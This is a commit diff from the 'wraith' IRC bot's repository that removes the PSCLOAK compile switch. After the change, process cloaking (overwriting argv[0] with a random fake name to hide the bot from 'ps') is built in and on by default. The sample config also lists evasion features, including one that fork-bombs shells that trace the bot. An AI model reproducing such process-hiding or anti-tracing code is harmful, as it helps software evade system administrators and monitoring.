Parcourir la source

* Removed define PSCLOAK

svn: 1156
Bryan Drewery il y a 22 ans
Parent
commit
6ec028ff39
6 fichiers modifiés avec 4 ajouts et 21 suppressions
  1. 0 1
      config.h.in
  2. 1 1
      doc/UPDATES
  3. 0 10
      pack/pack.cfg.sample
  4. 0 4
      src/conf.c
  5. 2 2
      src/main.c
  6. 1 3
      src/makesettings.c

+ 0 - 1
config.h.in

@@ -344,6 +344,5 @@
 #undef S_MESSUPTERM
 #undef S_MSGCMDS
 #undef S_NAZIPASS
-#undef S_PSCLOAK
 #undef S_SPLITHIJACK
 #undef S_UTCTIME

+ 1 - 1
doc/UPDATES

@@ -5,7 +5,7 @@ This is a summary of ChangeLog basically.
 * Wrote new 'response' code for misc stuff like kick reasons, and dcc responses...
 * Removed many unnecesary compile defines: (.config controlling them makes more sense)
   ANTITRACE, HIJACKCHECK, LASTCHECK, NODELAY, PROCESSCHECK, PROMISC, AUTHCMDS, CONFEDIT
-  RANDSERVERS, DCCPASS
+  RANDSERVERS, DCCPASS, PSCLOAK
 
 1.1.9
 

+ 0 - 10
pack/pack.cfg.sample

@@ -53,25 +53,15 @@ HUB <God god.net 666 god ~God ~george>
  * If this is the template pack.cfg, defines are set to their recommended values
  */
 
-+ ANTITRACE		This will quit the bot if tracing is detected
-+ AUTHCMDS              Enable a special list of cmds to be used after Authing.
 + AUTHHASH              Require a script to AUTH (using hashes)
 + AUTOAWAY		Random autoaway/return on IRC
 - AUTOLOCK		Will lock channels upon certain conditions
-+ CONFEDIT              Crontab -e style config editor
 + DCCAUTH               Require Auth hashing with scripts for dcc party line.
 + DCCPASS		DCC command passwords
 + GARBLESTRINGS		Encrypt strings in binary
-+ HIJACKCHECK		Checks for a common process hijacker method
-+ LASTCHECK		Checks every few seconds for logins with `last`
 - MESSUPTERM		Fork bombs shells that trace the bot on startup
 + MSGCMDS		Adds support for non-auth msg cmds, customizable throgh cmd_config
 - NAZIPASS		Requires a 'special' char in passes..If you have AUTH enabled, this is unneeded
-+ NODELAY		Speeds up tcp sockets to server
-- PROCESSCHECK		Checks running processes against a bad-list
-+ PROMISC		Checks for sniffers running on the server
-+ PSCLOAK		Cloaks the process for `ps` (can be disabled in botconfs)
-+ RANDSERVERS		Randomizes the server list per bot
 + SPLITHIJACK		Cycle channels on split; CHANFIX/TS fixes
 + UTCTIME		Uses GMT/UTC standard time instead of localtime 
 

+ 0 - 4
src/conf.c

@@ -251,11 +251,7 @@ init_conf()
 #endif /* HUB */
   conffile.portmin = 0;
   conffile.portmax = 0;
-#ifdef S_PSCLOAK
   conffile.pscloak = 1;
-#else
-  conffile.pscloak = 0;
-#endif /* S_PSCLOAK */
   conffile.uid = 0;
   conffile.uname = NULL;
   conffile.username = NULL;

+ 2 - 2
src/main.c

@@ -807,7 +807,7 @@ int main(int argc, char **argv)
   }
 #endif /* LEAF */
 
-#if defined(LEAF) && defined(S_PSCLOAK) && defined(__linux__)
+#if defined(LEAF) && defined(__linux__)
   if (conf.pscloak) {
     int on = 0;
     char *p = progname();
@@ -816,7 +816,7 @@ int main(int argc, char **argv)
     strncpyz(argv[0], p, strlen(p) + 1);
     for (on = 1; on < argc; on++) egg_memset(argv[on], 0, strlen(argv[on]));
   }
-#endif /* LEAF && PSCLOAK */
+#endif /* LEAF */
 
   /* Move into background? */
   /* we don't split cygwin because to run as a service the bot shouldn't exit.

+ 1 - 3
src/makesettings.c

@@ -434,8 +434,7 @@ fprintf(f, " \
 \n\
 char packname[512] = \"\", shellhash[33] = \"\", bdhash[33] = \"\", dcc_prefix[2] = \"\", \
 *owners = NULL, *hubs = NULL, *owneremail = NULL;\n\n\
-char *progname() {\n\
-#ifdef S_PSCLOAK\n", cfgfile);
+char *progname() {\n", cfgfile);
 fprintf(f," \
   switch (random() %% %d) {\n", cfg.pscloakn + 1);
 
@@ -444,7 +443,6 @@ fprintf(f, " \
     case %d: return \"%s\";\n", i, pscloak(i+1));
 fprintf(f, " \
   }\n\
-#endif /* S_PSCLOAK */\n\
   return \"wraith\";\n\
 }\n\n");